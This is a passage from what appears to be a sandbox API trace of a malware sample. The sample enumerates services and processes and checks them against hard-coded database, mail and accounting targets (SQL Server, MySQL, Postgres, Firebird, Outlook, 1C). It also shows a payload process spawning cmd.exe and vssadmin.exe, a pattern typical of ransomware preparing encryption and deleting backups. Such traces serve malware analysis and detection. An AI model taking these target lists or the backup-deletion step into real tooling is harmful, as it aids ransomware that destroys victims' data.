-1 [0050.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.676] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.676] lstrlenW (lpString="Winmgmt") returned 7 [0050.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.676] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.676] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0050.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0050.679] Process32FirstW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.679] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.680] lstrlenW (lpString="System") returned 6 [0050.680] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.680] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.680] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.680] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.681] lstrlenW (lpString="smss.exe") returned 8 [0050.681] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.681] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.681] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.681] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.682] lstrlenW (lpString="csrss.exe") returned 9 [0050.682] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.682] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.682] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.682] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.682] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.682] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.682] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.683] lstrlenW (lpString="wininit.exe") returned 11 [0050.683] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.683] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.683] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.683] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.684] lstrlenW (lpString="csrss.exe") returned 9 [0050.684] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.684] lstrlenW (lpString="winlogon.exe") returned 12 [0050.684] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.685] lstrlenW (lpString="services.exe") returned 12 [0050.685] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.686] lstrlenW (lpString="lsass.exe") returned 9 [0050.686] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.686] lstrlenW (lpString="lsm.exe") returned 7 [0050.687] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.687] lstrlenW (lpString="svchost.exe") returned 11 [0050.687] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.688] lstrlenW (lpString="svchost.exe") returned 11 [0050.688] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.689] lstrlenW (lpString="svchost.exe") returned 11 [0050.689] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.689] lstrlenW (lpString="svchost.exe") returned 11 [0050.689] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.690] lstrlenW (lpString="svchost.exe") returned 11 [0050.690] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.691] lstrlenW (lpString="audiodg.exe") returned 11 [0050.691] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.691] lstrlenW (lpString="svchost.exe") returned 11 [0050.691] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.692] lstrlenW (lpString="svchost.exe") returned 11 [0050.692] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.693] lstrlenW (lpString="dwm.exe") returned 7 [0050.693] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.693] lstrlenW (lpString="explorer.exe") returned 12 [0050.693] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.694] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.694] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.695] lstrlenW (lpString="taskhost.exe") returned 12 [0050.695] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.696] lstrlenW (lpString="svchost.exe") returned 11 [0050.696] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0050.696] lstrlenW (lpString="taskeng.exe") returned 11 [0050.696] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.697] lstrlenW (lpString="taskhost.exe") returned 12 [0050.697] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0050.698] lstrlenW (lpString="presidential.exe") returned 16 [0050.698] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0050.698] lstrlenW (lpString="ol-filing.exe") returned 13 [0050.698] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0050.999] lstrlenW (lpString="overcome.exe") returned 12 [0051.022] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0051.023] lstrlenW (lpString="declinedreferral.exe") returned 20 [0051.023] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0051.024] lstrlenW (lpString="franciscotrack.exe") returned 18 [0051.024] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0051.025] lstrlenW (lpString="nicholas.exe") returned 12 [0051.025] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0051.025] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0051.026] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0051.026] lstrlenW (lpString="word.exe") returned 8 [0051.026] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0051.027] lstrlenW (lpString="semestermeta.exe") returned 16 [0051.027] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0051.028] lstrlenW (lpString="reflects.exe") returned 12 [0051.028] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0051.028] lstrlenW (lpString="beveragesradios.exe") returned 19 [0051.028] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0051.029] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0051.029] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0051.030] lstrlenW (lpString="ground.exe") returned 10 [0051.030] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0051.030] lstrlenW (lpString="least.exe") returned 9 [0051.030] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0051.031] lstrlenW (lpString="meetings.exe") returned 12 [0051.031] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0051.032] lstrlenW (lpString="wooltestimony.exe") returned 17 [0051.032] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0051.032] lstrlenW (lpString="inexpensive.exe") returned 15 [0051.032] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0051.033] lstrlenW (lpString="er-amd.exe") returned 10 [0051.033] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0051.034] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0051.034] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0051.034] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0051.042] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0051.043] lstrlenW (lpString="mobsync.exe") returned 11 [0051.043] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0051.044] lstrlenW (lpString="payload2.exe") returned 12 [0051.044] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0051.044] lstrlenW (lpString="cmd.exe") returned 7 [0051.044] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0051.045] lstrlenW (lpString="conhost.exe") returned 11 [0051.045] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0051.046] lstrlenW (lpString="vssadmin.exe") returned 12 [0051.046] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0051.047] lstrlenW (lpString="VSSVC.exe") returned 9 [0051.047] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.047] lstrlenW (lpString="svchost.exe") returned 11 [0051.047] Process32NextW (in: hSnapshot=0x21c, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0051.048] CloseHandle (hObject=0x21c) returned 1 [0051.048] Sleep (dwMilliseconds=0x1f4) [0052.342] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29ffb0 [0052.342] EnumServicesStatusExW (in: hSCManager=0x29ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0052.342] GetLastError () returned 0xea [0052.342] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0052.343] EnumServicesStatusExW (in: hSCManager=0x29ffb0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0052.343] CloseServiceHandle (hSCObject=0x29ffb0) returned 1 [0052.343] lstrlenW (lpString="Appinfo") returned 7 [0052.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0052.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0052.343] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0052.343] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0052.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0052.343] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0052.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0052.344] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0052.344] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0052.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0052.344] lstrlenW (lpString="AudioSrv") returned 8 [0052.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0052.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0052.344] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0052.344] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0052.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0052.344] lstrlenW (lpString="BFE") returned 3 [0052.344] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0052.344] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0052.344] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0052.344] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0052.344] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0052.344] 